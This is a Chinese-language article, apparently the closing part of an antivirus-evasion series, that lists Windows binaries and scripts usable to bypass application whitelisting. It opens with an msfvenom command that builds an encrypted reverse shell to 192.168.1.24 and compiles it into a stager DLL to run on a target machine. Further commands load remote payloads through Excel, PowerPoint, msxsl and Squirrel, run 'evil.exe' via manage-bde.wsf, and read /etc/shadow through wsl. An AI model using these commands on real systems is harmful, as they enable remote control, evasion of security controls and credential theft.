stager.dll/stager.exe

使用说明：

下载 https://github.com/phackt/stager.dll

先使用 msfvenom 生成 payload

```
msfvenom -p windows/x64/encrypted_shell_reverse_tcp LHOST=192.168.1.24 LPORT=443 --encrypt aes256 --encrypt-iv E7a0eCX76F0YzS4j --encrypt-key 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR -f c -o /tmp/meterpreter.c
```

替换 cpp 文件中的 payload，编译生成 dll：

```
cl /LD /MT /EHa stager_dll_xx.cpp aes.cpp /Fe:stager.dll
```

也可以编译生成 exe

```
cl /MT /EHa stager_exe_xx.cpp aes.cpp /Fe:stager.exe
```

在靶机执行 rundll32 stager.dll,Exec 即可。

参考资料：

```
https://github.com/phackt/stager.dll
https://wh0ale.github.io/2019/01/23/2019-1-23-%E5%90%8E%E6%B8%97%E9%80%8F%E8%AF%A6%E8%A7%A3/
```

Setupapi.dll

使用说明：Windows 应用程序编程接口

文件路径:

```
c:\windows\system32\setupapi.dll
c:\windows\syswow64\setupapi.dll
```

执行方式：

```
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\Tools\shady.inf
```

参考资料：

https://github.com/huntresslabs/evading-autoruns

https://twitter.com/pabraeken/status/994742106852941825

https://windows10dll.nirsoft.net/setupapi_dll.html

Shdocvw.dll

使用说明：

shdocvw.dll 是为 Windows 应用程序添加基础文件和网络操作相关模块

文件路径:

```
c:\windows\system32\shdocvw.dll
c:\windows\syswow64\shdocvw.dll
```

执行方式：

```
rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
```

参考资料：

http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/

https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/

https://twitter.com/bohops/status/997690405092290561

https://windows10dll.nirsoft.net/shdocvw_dll.html

Shell32.dll

使用说明：系统文件 shell32.dll 是存放在 Windows\System32 系统文件夹中的重要文件，通常情况下是在安装操作系统过程中自动创建的，对于系统正常运行来说至关重要。在正常情况下不建议用户对该类文件进行随意的修改，它的存在对维护计算机系统的稳定具有重要作用。

文件路径:

```
c:\windows\system32\shell32.dll
c:\windows\syswow64\shell32.dll
```

执行方式：

```
rundll32.exe shell32.dll,Control_RunDLL payload.dll
```

参考资料：

https://twitter.com/Hexacorn/status/885258886428725250

https://twitter.com/pabraeken/status/991768766898941953

https://twitter.com/mattifestation/status/776574940128485376

https://twitter.com/KyleHanslovan/status/905189665120149506

https://windows10dll.nirsoft.net/shell32_dll.html

Syssetup.dll

使用说明：Windows NT 系统安装 dll 文件。

文件路径:

```
c:\windows\system32\syssetup.dll
c:\windows\syswow64\syssetup.dll
```

执行方式：

```
rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\test\shady.inf
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf
```

参考资料：

https://twitter.com/pabraeken/status/994392481927258113

https://twitter.com/harr0ey/status/975350238184697857

https://twitter.com/bohops/status/975549525938135040

https://windows10dll.nirsoft.net/syssetup_dll.html

其他 MS 程序 (21 个)

其他 MS 程序 (21 个)

Appvlp.exe

使用说明：

Microsoft Office 2016 附带的应用程序虚拟化实用程序。

文件路径:

```
C:\Program Files\Microsoft Office\root\client\appvlp.exe
C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
```

执行方式：

```
AppVLP.exe \\webdav\calc.bat
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject
shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)"
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject
excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
```

参考资料：

https://github.com/MoooKitty/Code-Execution

https://twitter.com/moo_hax/status/892388990686347264

https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/

https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/

Bginfo.exe

使用说明：

BgInfo 是 SysInternals 套件中的实用程序，它可以在桌面背景中直接显示计算机的系统信息。

执行方式：

```
bginfo.exe bginfo.bgi /popup /nolicprompt
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
```

参考资料：

```
https://pentestlab.blog/2017/06/05/applocker-bypass-bginfo/
https://github.com/3gstudent/bgi-creater
```

Cdb.exe

使用说明：

Windows Debug 工具包中的一个调试工具。

文件路径:

```
C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe
```

执行方式：

```
cdb.exe -cf x64_calc.wds -o notepad.exe
```

参考资料：

```
http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options


https://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda
```

csi.exe

使用说明：

和 dnx 一样 csi 和 rcsi 都可以执行 C# 代码，但 csi 是交互式的而 rcsi 不是。

文件路径:

```
c:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csi.exe
c:\Program Files (x86)\Microsoft Web Tools\Packages\Microsoft.Net.Compilers.X.Y.Z\tools\csi.exe
```

执行方式：

```
rcs.exe bypass.csx
```

参考资料：

```
https://web.archive.org/web/20161008143428/http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
```

Devtoolslauncher.exe

Devtoolslauncher.exe

使用说明：VS/VScode 安装后引入的一个程序。

文件路径:

```
c:\windows\system32\devtoolslauncher.exe
```

执行方式：

```
devtoolslauncher.exe LaunchForDeploy [PATH_TO_BIN] "argument here" test
devtoolslauncher.exe LaunchForDebug [PATH_TO_BIN] "argument here" test
```

参考资料：

```
https://twitter.com/_felamos/status/1179811992841797632
```

dnx.exe

使用说明：

.NET Execution Environment(DNX) 是一个 SDK 和运行时环境, 它包含所有的你需要创建和运行. net 应用程序的组件。可以执行 C# 代码

执行方式：

```
dnx.exe consoleapp
```

参考资料：

```
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
```

Dotnet.exe

使用说明：

.NET Framework 安装后引入的程序

文件路径:

```
C:\Program Files\dotnet\dotnet.exe
```

执行方式：

```
dotnet.exe [PATH_TO_DLL]
```

参考资料：

```
https://twitter.com/_felamos/status/1204705548668555264
```

Dxcap.exe

使用说明：

Visual Studio 中自带的 DirectX 诊断调试工具。

文件路径:

```
C:\Windows\System32\dxcap.exe
C:\Windows\SysWOW64\dxcap.exe
```

执行方式：

```
https://twitter.com/harr0ey/status/992008180904419328
```

参考资料：

```
Dxcap.exe -c C:\Windows\System32\notepad.exe
```

Excel.exe

使用说明：Microsoft Office 表格程序。

文件路径:

```
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe
C:\Program Files\Microsoft Office\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe
C:\Program Files\Microsoft Office\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe
C:\Program Files\Microsoft Office\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe
```

执行方式：

```
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
```

参考资料

参考资料：

```
https://twitter.com/reegun21/status/1150032506504151040
https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
```

Mftrace.exe

使用说明：Media Foundation Tools 的跟踪日志生成工具。

文件路径:

```
C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x86
C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x64
C:\Program Files (x86)\Windows Kits\10\bin\x86
C:\Program Files (x86)\Windows Kits\10\bin\x64
```

执行方式：

```
Mftrace.exe cmd.exe
```

参考资料：

```
https://twitter.com/0rbz_/status/989911181422186496
```

msxsl.exe

使用说明：

根据 Microsoft 的 msxsl.exe 命令行程序，用户能够使用 Microsoft XSL 处理器执行命令行可

扩展样式表语言（XSL）。 但是，这个二进制文件可以用来执行恶意的 JavaScript 代码并绕过应用程序白名单保护。

执行方式：

```
msxsl.exe customers.xml script.xsl
msxls.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
```

参考资料：

```
https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/

https://twitter.com/subTee/status/877616321747271680

https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
```

Powerpnt.exe

使用说明：Microsoft Office 的 ppt 程序。

文件路径:

```
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Powerpnt.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Powerpnt.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office15\Powerpnt.exe
```

```
C:\Program Files\Microsoft Office\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office12\Powerpnt.exe


C:\Program Files\Microsoft Office\Office12\Powerpnt.exe
C:\Program Files\Microsoft Office\Office12\Powerpnt.exe
```

执行方式：

```
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```

参考资料：

```
https://twitter.com/reegun21/status/1150032506504151040
https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
```

rcsi.exe

使用说明：

Visual Studio 附带的非交互式命令行界面，和 dnx 一样 rcsi 可以执行 C# 代码，rcsi 非交互式。

执行方式：

```
rcsi.exe bypass.csx
```

参考资料：

https://web.archive.org/web/20161008143428/http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

Sqldumper.exe

使用说明：Microsoft SQL 附带的调试实用程序。

文件路径:

```
C:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exe
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS OLEDB\140\SQLDumper.exe
```

执行方式：

```
sqldumper.exe 464 0 0x0110
```

参考资料：

https://twitter.com/countuponsec/status/910969424215232518

https://twitter.com/countuponsec/status/910977826853068800

https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-se

Sqlps.exe

使用说明：Microsoft SQL Server 附带的用于加载 SQL Server cmdlet 的工具。

文件路径:

```
C:\Program files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exe
C:\Program files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exe

C:\Program files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exe
C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
```

执行方式：

```
Sqlps.exe -noprofile
```

参考资料：

```
https://twitter.com/bryon_/status/975835709587075072
https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017
```

SQLToolsPS.exe

使用说明：

Microsoft SQL 附带的用于加载 SQL Server cmdlts 的工具。 替代 sqlps.exe。 SQL Server 2016 + 中 sqlps.exe 的后继者。

文件路径:

```
C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
```

执行方式：

```
SQLToolsPS.exe -noprofile -command Start-Process calc.exe
```

参考资料：

```
https://twitter.com/pabraeken/status/993298228840992768
https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017
```

Squirrel.exe

使用说明：

Microsoft Teams 安装的一部分，执行 squirrel 软件包。

文件路径:

```
%localappdata%\Microsoft\Teams\current\Squirrel.exe
```

执行方式：

```
squirrel.exe --download [url to package]
squirrel.exe --update [url to package]
squirrel.exe --updateRoolback=[url to package]
```

参考资料：

```
https://www.*******.com/watch?v=rOP3hnkj7ls

https://twitter.com/reegun21/status/1144182772623269889


http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/


https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution
```

https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12

https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56

Tracker.exe

使用说明：Visual studio 的一部分。需要 1028 子文件夹中的 TrackerUI.dll，可以开启一个进程并注入 dll， 当然也可以直接运行 exe 文件。

执行方式：

```
Tracker.exe /c "C:\Windows\System32\calc.exe"
Tracker.exe /d .\calc.dll /c C:\Windows\write.exe
```

参考资料：

```
https://twitter.com/subTee/status/793151392185589760
https://attack.mitre.org/wiki/Execution
```

Update.exe

使用说明：

Microsoft Teams 安装的一部分，更新现有已安装的 Nuget/squirrel 软件包。

文件路径:

```
%localappdata%\Microsoft\Teams\update.exe
```

执行方式：

```
Update.exe --download [url to package]
Update.exe --update [url to package]
Update.exe --updateRollback=[url to package]
Update.exe --processStart payload.exe --process-start-args "whatever args"
```

参考资料：

https://www.*******.com/watch?v=rOP3hnkj7ls

https://twitter.com/reegun21/status/1144182772623269889

https://twitter.com/MrUn1k0d3r/status/1143928885211537408

http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/

https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12

https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56

vsjitdebugger.exe

使用说明：

Visual Studio 中的 jit 调试工具。

文件路径:

```
c:\windows\system32\vsjitdebugger.exe
```

执行方式：

```
Vsjitdebugger.exe calc.exe
```

参考资料：

```
https://twitter.com/pabraeken/status/990758590020452353
```

Wsl.exe

使用说明：

从 Windows 命令行运行 Linux 工具.

文件路径:

```
C:\Windows\System32\wsl.exe
```

执行方式：

```
wsl.exe -e /mnt/c/Windows/System32/calc.exe
wsl.exe -u root -e cat /etc/shadow
```

参考资料：

```
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
```

脚本文件 (4 个)

CL_Mutexverifiers.ps1

使用说明：

导入 PowerShell Diagnostic CL_Mutexverifiers 脚本，然后调用 runAfterCancelProcess 启动可执行文件。

文件路径:

```
C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1
C:\Windows\diagnostics\system\Audio\CL_Mutexverifiers.ps1
C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1
C:\Windows\diagnostics\system\Video\CL_Mutexverifiers.ps1
C:\Windows\diagnostics\system\Speech\CL_Mutexverifiers.ps1
```

执行方式：

```
. C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.ps1   \nrunAfterCancelProcess calc.ps1
```

参考资料：

```
https://twitter.com/pabraeken/status/995111125447577600
```

CL_Invocation.ps1

使用说明：

windows 自带的诊断工具，可以执行 exe 文件

文件路径:

```
C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1
C:\Windows\diagnostics\system\Audio\CL_Invocation.ps1
C:\Windows\diagnostics\system\WindowsUpdate\CL_Invocation.ps1
```

执行方式:

```
PS C:\> . C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1
PS C:\> SyncInvoke cmd.exe "/c ipconfig > E:\ip.txt"
```

参考资料:

```
https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/
```

Manage-bde.wsf

使用说明:

用于管理 BitLocker 的脚本.

文件路径:

```
C:\Windows\System32\manage-bde.wsf
```

执行方式:

```
set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe
c:\windows\system32\manage-bde.wsf
```

参考资料：

```
https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712
https://twitter.com/bohops/status/980659399495741441
```

Pester.bat

使用说明：与 app-v 和发布服务器相关的脚本。

文件路径:

```
c:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat
c:\Program Files\WindowsPowerShell\Modules\Pester\*\bin\Pester.bat
```

执行方式：

```
Pester.bat [/help|?|-?|/?] "$null; notepad"
```

参考资料：

> https://twitter.com/Oddvarmoe/status/993383596244258816

后记

> 免杀系列文章及相关软件下载： https://github.com/TideSec/BypassAntiVirus
> 白名单篇终于完结，激动之情难以言表~~

> 免杀专题文章终于也要接近尾声，撒花~~